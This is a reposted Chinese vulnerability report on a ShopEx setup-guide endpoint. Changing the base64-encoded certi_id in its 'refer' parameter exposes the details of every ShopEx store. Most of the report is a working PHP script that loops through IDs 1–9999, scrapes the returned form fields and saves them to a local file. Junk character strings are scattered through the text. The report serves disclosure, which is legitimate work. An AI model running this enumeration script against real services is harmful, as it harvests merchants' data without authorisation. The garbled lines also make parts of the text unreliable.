ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
3 \9 e# }. O% A" `9 wShopEx某接口缺陷,可遍历所有网站
详细说明：
" M) v+ V0 l- O问题出现在shopex 网店使用向导页面

% Z& ~& c5 n# m

# ^7 U& o- e  G! l/ ihttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
* b3 c4 U; U5 W
7 p. X6 G. b! b) n5 Z6 ?! H

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


; u% q% {: U2 k1 Q2 x3 `& h3 o0 }
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


. \( `4 h5 [" o; @% i* U" `1 D1 t2 s
<?php
6 H( d- C+ V$ L# I
                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }
; C8 c1 Z$ `# u# J+ }3 I* v
                function ShowshopExD($cid) {
: @- h. Z  z* e. Z0 E% E7 d
4 T. J& h5 I2 f$ k, Z% `: _$ A                $url='http://guide.ecos.shopex.cn/step2.php';
. _8 y' z+ w" g" z# U9 C- A! k
; {3 v% T. n! R2 l2 Y                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
  O4 S+ H3 t3 L( v, E. r
, T/ i; Y. H/ L        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

0 Q$ t+ l& T1 g) J0 {        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
  w# N; S; b3 k6 [9 @) K
        $result = curl_exec($ch);
6 m  A# v0 r: o0 s
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))

        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

# |" k( `; v& x% Q. U                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

                }
+ `6 }- X  u+ k/ @0 p# u
. `+ A" r' c  e' I                echo '--------------------------------'."\r\n";
( M' `) G- a0 _. u. c( q1 ^
" v7 G6 I+ W& i+ N                fclose($fp);

        }
$ N* M3 X4 R& C5 L3 R2 [
. S( O5 ?. o. |; v- z: {2 U; Y+ Z        flush();

6 u6 y8 g, O9 l5 x; g7 U$ c        curl_close($ch);

                }
4 S% K& O9 e- H9 f; i1 G
?>
% X! p: x6 M& A+ y4 A# p) l  m2 q漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
5 l5 p* N* i' C+ }( brefer换成其他加密方式
. A- @; }2 T. U3 i* j; m